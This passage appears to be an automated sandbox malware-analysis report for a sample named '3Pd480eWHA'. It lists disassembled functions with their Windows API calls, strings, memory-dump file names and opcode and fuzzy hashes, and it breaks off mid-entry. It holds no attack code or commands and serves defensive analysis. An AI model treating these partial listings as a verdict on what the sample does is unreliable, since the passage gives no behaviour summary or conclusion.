wsprintfA.USER32 ref: 00406087
LoadLibraryExA.KERNEL32(?,00000000,00000008), ref: 0040609B

Strings

UXTHEME, xrefs: 00406040
%s%s.dll, xrefs: 00406081
\, xrefs: 0040605F

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction ID: 17439860729f5247506b6fa79cc71e4dc0dc9fec6db89644704a68070b9bc3a3
Opcode Fuzzy Hash: 38f932dad6d10820f3564912fa7e39c047c8ada2afd73a6a353afcde48b08f1a
Instruction Fuzzy Hash: BAF0F630A40209ABEB14EB78DC0DFEB365CAB08305F14017AB547F11D2EA78E8258B69

Function 389CA9C8 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$q, xrefs: 389CAB50
$q, xrefs: 389CAB44
$q, xrefs: 389CAABE
$q, xrefs: 389CAB25
$q, xrefs: 389CAACA
$q, xrefs: 389CAB86
$q, xrefs: 389CAB7A
$q, xrefs: 389CAB19

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q$$q$$q
API String ID: 0-3886557441
Opcode ID: dd19e754ec2ba7b95df9b2f568c17cb05cca4a5ede58cc7b217844c0bf669aad
Instruction ID: 3c7d5a82b2c23052c9c957789b6f4233b486130491fbc6ff1e557955386349ce
Opcode Fuzzy Hash: dd19e754ec2ba7b95df9b2f568c17cb05cca4a5ede58cc7b217844c0bf669aad
Instruction Fuzzy Hash: 5E91A3B4A00309DFEB14DB65D955BAE7BF7BF84345F208529E401AB390DB769C42CB81

Function 004026C6 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040271A
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402736
GlobalFree.KERNEL32(?), ref: 0040276F
GlobalFree.KERNEL32(00000000), ref: 00402782
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040279A
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004027AE

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 4b894f8d3e924aec19ae082312aeb976ceb27c72decf70bd39f3be7f131da9ef
Instruction ID: f67dc9fade15bd1aaf4953b10d7ffc98cf8df4ed40540c93fb8cebdcb82cf2c3
Opcode Fuzzy Hash: 4b894f8d3e924aec19ae082312aeb976ceb27c72decf70bd39f3be7f131da9ef
Instruction Fuzzy Hash: 71217A71800128BBCF216FA5DE49EAEBB79EF09324F10022AF914762E1C7795D018B99

Function 00402EB5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F06
GetTickCount.KERNEL32 ref: 00402F8A
MulDiv.KERNEL32(7FFFFFFF,00000064,00008000), ref: 00402FB3
wsprintfA.USER32 ref: 00402FC3

Strings

... %d%%, xrefs: 00402FBD

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: a1d6832c6bc444ff6d010b630c712fb48df73d3c77c6344f27a78c0d96af84d3
Instruction ID: 2edc22cfff0ae19664cdd2150d7fdb1cf503ee3651ca8202b139e1cdffcd4696
Opcode Fuzzy Hash: a1d6832c6bc444ff6d010b630c712fb48df73d3c77c6344f27a78c0d96af84d3
Instruction Fuzzy Hash: 2C419072D0120ADBDB10DFA5DA44B9E7BB8AB00355F14813BE911B72D4C3B88A51DB9A

Function 004046E6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079E540,0079E540,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404601,000000DF,00000000,00000400,?), ref: 00404784
wsprintfA.USER32 ref: 0040478C
SetDlgItemTextA.USER32(?,0079E540), ref: 0040479F

Strings

@y, xrefs: 00404776
%u.%u%s%s, xrefs: 0040476E

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@y
API String ID: 3540041739-3020698753
Opcode ID: 23981b414acec4a909d74728ae7c31128a1c52990f28844aeca2583cf0c79733
Instruction ID: 4638cabbc4a31f91baf710fec8468dae319bf79d1b1f68d9e24bb075fcb279e4
Opcode Fuzzy Hash: 23981b414acec4a909d74728ae7c31128a1c52990f28844aeca2583cf0c79733
Instruction Fuzzy Hash: D911E7736041283BEB00656D9D45EEF328CDB86374F254237FA25F31D1EA78CC1146A8

Function 00405F77 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,007A8000,771B3410,007A9400,00000000,004030C7,007A9400,007A9400,004032DC), ref: 00405FCF
CharNextA.USER32(?,?,?,00000000), ref: 00405FDC
CharNextA.USER32(?,007A8000,771B3410,007A9400,00000000,004030C7,007A9400,007A9400,004032DC), ref: 00405FE1
CharPrevA.USER32(?,?,771B3410,007A9400,00000000,004030C7,007A9400,007A9400,004032DC), ref: 00405FF1

Strings

*?|<>/":, xrefs: 00405FBF

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction ID: e323e08bdfda0f150b574f83967a69ba6361760ee6a09b3ffc5edc4c10c5e242
Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction Fuzzy Hash: 01118F91808B926EFB3216244C44B7BAF898B577A4F18007BE5C5722C2DA7C5C429B6E

Function 389C7140 Relevance: 7.9, Strings: 6, Instructions: 405COMMON

Download Yara Rule

Strings

$q, xrefs: 389C7648
$q, xrefs: 389C7488
$q, xrefs: 389C7422
$q, xrefs: 389C7654
$q, xrefs: 389C747C
$q, xrefs: 389C75DC

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q$$q$$q
API String ID: 0-2069967915
Opcode ID: 62494035d2b322331e699be7b0b53c5f1b8d0de2799238c75fdfd6477764094b
Instruction ID: dfb571a1b213ce51894fa074ea64b3fd95d138b5633724999a4f142903221e1f
Opcode Fuzzy Hash: 62494035d2b322331e699be7b0b53c5f1b8d0de2799238c75fdfd6477764094b
Instruction Fuzzy Hash: 8DF15D74B00208DFDB19DB68C954B5EBBB3BF88340F648568E505AB355CB75EC82CB82

Function 00401751 Relevance: 7.6, APIs: 5, Instructions: 147stringtimeCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(00000000,00000000,004093E8,007A8800,00000000,00000000,00000031), ref: 00401790
CompareFileTime.KERNEL32(-00000014,?,004093E8,004093E8,00000000,00000000,004093E8,007A8800,00000000,00000000,00000031), ref: 004017BA

Part of subcall function 00405D0C: lstrcpynA.KERNEL32(?,?,00000400,0040319A,007A1740,NSIS Error), ref: 00405D19

Part of subcall function 00404F25: lstrlenA.KERNEL32(0079DD20), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(?,0079DD20), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(0079DD20,?,?,0079DD20), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(0079DD20,0079DD20), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 491a21a9f6a60a86725e37869eef28b2dba974702bf83004d190f1b0ca19f42f
Instruction ID: e334bcbcf7859558867c6a38b10ffbeddee8f855bc543c6a7f27992f07fd6e89
Opcode Fuzzy Hash: 491a21a9f6a60a86725e37869eef28b2dba974702bf83004d190f1b0ca19f42f
Instruction Fuzzy Hash: 4B41C672900519BADB107BA5CC45DAF7AB9DF46329B20C33BF021B20E1C67C4A419A5D

Function 00402A7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A9B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AD7
RegCloseKey.ADVAPI32(?), ref: 00402AE0
RegCloseKey.ADVAPI32(?), ref: 00402B05
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B23

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: b56f379d4c7718a716cd2f0f4935c5eaa8b38fc1cc2d991abe85072f08e57da9
Instruction ID: 557db050c0314b8bb5c0b22d2db4fc3530b60cfc711b7b252a141f8c1691c263
Opcode Fuzzy Hash: b56f379d4c7718a716cd2f0f4935c5eaa8b38fc1cc2d991abe85072f08e57da9
Instruction Fuzzy Hash: 82114272900109FFEF229F50DE89DAE3B7DEB54344B104436F901B10A0D7B59E51DB69

Function 00405817 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?,004015C2,00000000,000000F0), ref: 00405825
CharNextA.USER32(00000000,?,?,004015C2,00000000,000000F0), ref: 0040582A
CharNextA.USER32(00000000,?,?,004015C2,00000000,000000F0), ref: 0040583E

Strings

\, xrefs: 00405837
:, xrefs: 00405832

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CharNext
String ID: :$\
API String ID: 3213498283-1166558509
Opcode ID: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction ID: db1d673f1cc138dbc44dca3842ff1338afb0bbfba97f9f865265ae6769849a0e
Opcode Fuzzy Hash: b52e97735ebcacdda31b679af32a6ceda5c9d10ed76b2852ac30fc4ce6ba53e1
Instruction Fuzzy Hash: 8AF06253908F916AFB3272350C84B6B5B89CB55351F1C847BEE41AA2D2827C58608F9A

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32(00000000,?), ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: a2ffcf30888faf62a2fffa15a6d80cc535626273481d4b0d0e46a36277f7fb6e
Instruction ID: 92ae7547fb934e5b20a31b6555936ed9a04085bedc3b988c85494c1bea2cd4ea
Opcode Fuzzy Hash: a2ffcf30888faf62a2fffa15a6d80cc535626273481d4b0d0e46a36277f7fb6e
Instruction Fuzzy Hash: CCF0E7B2A04114AFEB01ABE4DE88DAFB7BDFB54305B10446AF602F6191C7789D018B79

Function 00401D38 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3B
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D48
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D57
ReleaseDC.USER32(?,00000000), ref: 00401D68
CreateFontIndirectA.GDI32(0040A7F0), ref: 00401DB3

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 7759b1c2666ea4b2aaeaf3915ac05adf06ad776dfafda30cc4f04744dc2a8b2d
Instruction ID: cf9238c777b6589bee1a324002302adcb4b1f2371c80511fc572ea77625e262b
Opcode Fuzzy Hash: 7759b1c2666ea4b2aaeaf3915ac05adf06ad776dfafda30cc4f04744dc2a8b2d
Instruction Fuzzy Hash: 96016232948740AFE7416B70AE1AFAA3FB4A755305F108479F201B72E2C67811569B3F

Function 00405BF3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00405E38,00000000,00000002,?,00000002,?,?,00405E38,80000002,Software\Microsoft\Windows\CurrentVersion,?,007A0EE0,?), ref: 00405C1C
RegQueryValueExA.ADVAPI32(?,?,00000000,8^@,?,00405E38), ref: 00405C3D
RegCloseKey.ADVAPI32(?), ref: 00405C5E

Strings

8^@, xrefs: 00405C31, 00405C35

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: 8^@
API String ID: 3677997916-2279431280
Opcode ID: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction ID: 82031ed88aedd54e8f4210183bcc3f8d35f395a35efeba70fd312e8ed480c043
Opcode Fuzzy Hash: 0c8888e50600bbfc423f29d3e13c34afc4b2d72f1a725d9a4029968a390a76be
Instruction Fuzzy Hash: AC014C7254420AEFDF118F64DC44ADB3FACEF18394B044026F91596220D235D964CBA5

Function 00401F90 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401FBB

Part of subcall function 00404F25: lstrlenA.KERNEL32(0079DD20), ref: 00404F5E
Part of subcall function 00404F25: lstrlenA.KERNEL32(?,0079DD20), ref: 00404F6E
Part of subcall function 00404F25: lstrcatA.KERNEL32(0079DD20,?,?,0079DD20), ref: 00404F81
Part of subcall function 00404F25: SetWindowTextA.USER32(0079DD20,0079DD20), ref: 00404F93
Part of subcall function 00404F25: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FB9
Part of subcall function 00404F25: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FD3
Part of subcall function 00404F25: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FE1

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FCB
GetProcAddress.KERNEL32(00000000,?), ref: 00401FDB
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402045

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: cb7d2b3ffacc05dc4655b01ad5987bb235332aa8f09704f6372af737942c9465
Instruction ID: a6d6138a22214a2ec3127db012fcbe8ccdb9873b287714200ab65a7954d0c462
Opcode Fuzzy Hash: cb7d2b3ffacc05dc4655b01ad5987bb235332aa8f09704f6372af737942c9465
Instruction Fuzzy Hash: 93212B72904211EBDF217F648E4DAAE76B1AB45318F30423BF311B62D1C7BC4941DA6E

Function 00402364 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023A2
lstrlenA.KERNEL32(00409BE8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023C2
RegSetValueExA.ADVAPI32(?,?,?,?,00409BE8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023FB
RegCloseKey.ADVAPI32(?,?,?,00409BE8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024D8

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: a44e0dd845452c16e0676ba07943d4070dacd9b647c2caf80fcc8f4f65a6adba
Instruction ID: 90de9cbbb944b5ce7c16acb051fe3e73370ea29dc9d439d86f68b9f38bc34e97
Opcode Fuzzy Hash: a44e0dd845452c16e0676ba07943d4070dacd9b647c2caf80fcc8f4f65a6adba
Instruction Fuzzy Hash: 04117572E00108BFEB10AFA4EE89EAF767DEB54358F10403AF505B61D1D6B85D419B28

Function 00402C02 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402DE2,00000001), ref: 00402C15
GetTickCount.KERNEL32 ref: 00402C33
CreateDialogParamA.USER32(0000006F,00000000,00402B7F,00000000), ref: 00402C50
ShowWindow.USER32(00000000,00000005), ref: 00402C5E

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: fd7178c7721e2cb8ae00692e9a41079980ecee2ccae2d9a286676897a8e6dfc8
Instruction ID: 945901cf9e20f70a46e78403882e62b60873afe576e8e7cbc1612cb0b63c5969
Opcode Fuzzy Hash: fd7178c7721e2cb8ae00692e9a41079980ecee2ccae2d9a286676897a8e6dfc8
Instruction Fuzzy Hash: 14F03A30809631ABD622AB34BF8EDDE7A64AB41B01B1184B7F014B21E4D77C58C6CBDD

Function 00404E99 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404EC8
CallWindowProcA.USER32(?,?,?,?), ref: 00404F19

Part of subcall function 00403F3D: SendMessageA.USER32(?,?,00000000,00000000), ref: 00403F4F

Strings

, xrefs: 00404EA9

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction ID: 1c3aa9a2031039442b6cd3bdc360fce63fd7b644e996c38402bdeea248e73ffc
Opcode Fuzzy Hash: ba6800c79a5e421cc747068b2104ef880767bd6b1526ac3d2082a385ebb11f2d
Instruction Fuzzy Hash: 2D0171B1104249AFDF219F51DC80A5B3A25E7C4755F104037FB00762D1D33AAD619B6E

Function 004059AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004059C2
GetTempFileNameA.KERNEL32(?,?,00000000,?), ref: 004059DC

Strings

nsa, xrefs: 004059B9

Memory Dump Source

Source File: 00000009.00000002.2495567019.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2495505650.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495621278.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495676639.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000009.00000002.2495933854.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_3Pd480eWHA.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction ID: 14833181556f01f8699e9ecebe408800633a5ab51cc0013a882439dab00eebba
Opcode Fuzzy Hash: a71f6d19a672690ae76045f6a92713abfaab32ef542e638d1cc3651a1fbf987a
Instruction Fuzzy Hash: 2AF0E232708204ABEB109F15EC04B9B7B9CDF91720F00C03BFA049A181D2B598448B58

Function 389C8470 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$q, xrefs: 389C86D6
$q, xrefs: 389C872F
$q, xrefs: 389C873B
$q, xrefs: 389C86CA

Memory Dump Source

Source File: 00000009.00000002.2524428660.00000000389C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 389C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_389c0000_3Pd480eWHA.jbxd

Similarity

API ID:
